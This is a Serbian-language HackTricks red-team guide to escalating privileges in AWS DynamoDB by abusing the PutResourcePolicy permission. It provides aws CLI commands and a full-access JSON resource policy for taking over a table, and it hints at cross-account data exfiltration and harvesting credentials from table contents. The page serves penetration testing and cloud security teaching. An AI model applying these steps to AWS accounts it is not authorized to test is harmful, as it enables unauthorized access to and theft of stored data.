AWS - DynamoDB Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

dynamodb

Za više informacija o dynamodb pogledajte:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, and optionally dynamodb:GetResourcePolicy

Od marta 2024. AWS nudi politike zasnovane na resursima za DynamoDB (AWS News).

Dakle, ako imate dynamodb:PutResourcePolicy za tabelu, možete sebi ili bilo kojem drugom principalu dodeliti potpuni pristup toj tabeli.

Dodeljivanje dynamodb:PutResourcePolicy nasumičnom principalu često se dešava slučajno — na primer, ako administratori misle da dodeljivanje dynamodb:Put* dozvoljava samo da principal ubacuje stavke u bazu podataka — ili ako su taj permissionset dodelili pre marta 2024…

Idealno bi bilo da imate i dynamodb:GetResourcePolicy, tako da ne prekrijete druge potencijalno važne dozvole, već samo ubacite dodatne dozvole koje su vam potrebne:

# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Ako ne možete da dohvatite trenutnu politiku, jednostavno koristite ovu koja daje potpuni pristup tabeli vašem principalu:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Ako treba da ga prilagodite, ovde je lista svih mogućih DynamoDB akcija: AWS Documentation. A ovde je lista svih akcija koje mogu biti dozvoljene putem resource based policy I koje od njih mogu da se koriste cross-account (think data exfiltration!): AWS Documentation

Sada, kada je policy dokument policy.json spreman, postavite resource policy:

# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Sada biste trebali imati dozvole koje su vam bile potrebne.

Post Exploitation

Koliko ja znam, ne postoji drugi direktan način da se escalate privileges u AWS samo posedovanjem nekih AWS dynamodb dozvola. Možete čitati osetljive informacije iz tabela (koje mogu sadržavati AWS credentials) i pisati informacije u tabele (što može pokrenuti druge ranjivosti, kao što su lambda code injections…) ali sve ove opcije su već razmotrene na DynamoDB Post Exploitation page:

AWS - DynamoDB Post Exploitation

TODO: Čitanje podataka zloupotrebom data Streams

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks